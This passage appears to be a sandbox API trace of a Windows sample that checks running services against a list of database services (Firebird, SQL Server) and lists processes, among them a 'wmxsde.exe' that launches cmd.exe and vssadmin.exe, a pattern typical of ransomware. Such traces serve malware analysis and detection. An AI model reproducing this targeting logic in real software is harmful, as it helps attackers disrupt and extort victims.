lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0183.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0183.560] lstrlenW (lpString="RpcEptMapper") returned 12 [0183.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0183.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0183.560] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0183.560] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0183.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0183.560] lstrlenW (lpString="RpcSs") returned 5 [0183.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0183.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0183.560] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0183.560] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0183.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0183.561] lstrlenW (lpString="SamSs") returned 5 [0183.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0183.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0183.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0183.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0183.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0183.561] lstrlenW (lpString="Schedule") returned 8 [0183.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0183.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0183.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0183.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0183.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0183.561] lstrlenW (lpString="SecurityHealthService") returned 21 [0183.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0183.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0183.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0183.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0183.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0183.561] lstrlenW (lpString="SENS") returned 4 [0183.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0183.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0183.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0183.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0183.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0183.561] lstrlenW (lpString="ShellHWDetection") returned 16 [0183.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0183.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0183.561] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0183.561] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0183.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0183.562] lstrlenW (lpString="Spooler") returned 7 [0183.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0183.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0183.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0183.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0183.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0183.562] lstrlenW (lpString="StateRepository") returned 15 [0183.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0183.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0183.562] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0183.562] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0183.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0183.562] lstrlenW (lpString="SysMain") returned 7 [0183.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0183.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0183.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0183.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0183.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0183.562] lstrlenW (lpString="SystemEventsBroker") returned 18 [0183.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0183.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0183.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0183.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0183.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0183.562] lstrlenW (lpString="Themes") returned 6 [0183.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0183.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0183.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0183.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0183.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0183.563] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0183.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0183.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0183.563] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0183.563] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0183.563] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4661fb8 | out: hHeap=0x710000) returned 1 [0183.568] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0183.574] Process32FirstW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.574] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0183.575] lstrlenW (lpString="System") returned 6 [0183.575] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0183.577] lstrlenW (lpString="smss.exe") returned 8 [0183.577] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0183.578] lstrlenW (lpString="csrss.exe") returned 9 [0183.578] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0183.579] lstrlenW (lpString="wininit.exe") returned 11 [0183.579] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0183.580] lstrlenW (lpString="csrss.exe") returned 9 [0183.580] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0183.581] lstrlenW (lpString="winlogon.exe") returned 12 [0183.581] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0183.582] lstrlenW (lpString="services.exe") returned 12 [0183.582] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0183.583] lstrlenW (lpString="lsass.exe") returned 9 [0183.583] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0183.584] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0183.584] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0183.585] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0183.585] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.586] lstrlenW (lpString="svchost.exe") returned 11 [0183.586] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.587] lstrlenW (lpString="svchost.exe") returned 11 [0183.587] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0183.588] lstrlenW (lpString="dwm.exe") returned 7 [0183.588] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.589] lstrlenW (lpString="svchost.exe") returned 11 [0183.589] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.590] lstrlenW (lpString="svchost.exe") returned 11 [0183.590] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.591] lstrlenW (lpString="svchost.exe") returned 11 [0183.591] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.592] lstrlenW (lpString="svchost.exe") returned 11 [0183.592] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.629] lstrlenW (lpString="svchost.exe") returned 11 [0183.630] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.631] lstrlenW (lpString="svchost.exe") returned 11 [0183.631] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.632] lstrlenW (lpString="svchost.exe") returned 11 [0183.632] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.633] lstrlenW (lpString="svchost.exe") returned 11 [0183.633] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.726] lstrlenW (lpString="svchost.exe") returned 11 [0183.727] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.728] lstrlenW (lpString="svchost.exe") returned 11 [0183.728] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0183.729] lstrlenW (lpString="spoolsv.exe") returned 11 [0183.729] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.730] lstrlenW (lpString="svchost.exe") returned 11 [0183.731] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0183.732] lstrlenW (lpString="audiodg.exe") returned 11 [0183.732] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0183.733] lstrlenW (lpString="taskhostw.exe") returned 13 [0183.733] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0183.734] lstrlenW (lpString="sihost.exe") returned 10 [0183.735] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.736] lstrlenW (lpString="svchost.exe") returned 11 [0183.736] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0183.737] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0183.737] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0183.740] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0183.740] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0183.741] lstrlenW (lpString="Memory Compression") returned 18 [0183.741] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0183.742] lstrlenW (lpString="taskhostw.exe") returned 13 [0183.742] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0183.743] lstrlenW (lpString="msoia.exe") returned 9 [0183.743] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0183.744] lstrlenW (lpString="explorer.exe") returned 12 [0183.745] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0183.745] lstrlenW (lpString="SearchUI.exe") returned 12 [0183.746] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0183.747] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0183.747] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0183.748] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0183.748] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0183.749] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0183.749] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0183.750] lstrlenW (lpString="wmxsde.exe") returned 10 [0183.750] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0183.752] lstrlenW (lpString="cmd.exe") returned 7 [0183.752] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0183.753] lstrlenW (lpString="conhost.exe") returned 11 [0183.753] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0183.754] lstrlenW (lpString="consent.exe") returned 11 [0183.754] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0183.755] lstrlenW (lpString="vssadmin.exe") returned 12 [0183.755] Process32NextW (in: hSnapshot=0x36c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0183.756] CloseHandle (hObject=0x36c) returned 1 [0183.756] Sleep (dwMilliseconds=0x1f4) [0184.745] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f268 [0184.745] EnumServicesStatusExW (in: hSCManager=0x459f268, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0184.746] GetLastError () returned 0xea [0184.746] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4661fb8 [0184.747] EnumServicesStatusExW (in: hSCManager=0x459f268, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4661fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4661fb8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0184.748] CloseServiceHandle (hSCObject=0x459f268) returned 1 [0184.748] lstrlenW (lpString="Appinfo") returned 7 [0184.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0184.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0184.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0184.749] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0184.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0184.749] lstrlenW (lpString="AppXSvc") returned 7 [0184.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0184.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0184.749] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0184.749] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0184.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0184.749] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0184.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0184.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0184.749] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0184.749] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0184.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0184.749] lstrlenW (lpString="Audiosrv") returned 8 [0184.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0184.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0184.749] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0184.749] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0184.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0184.749] 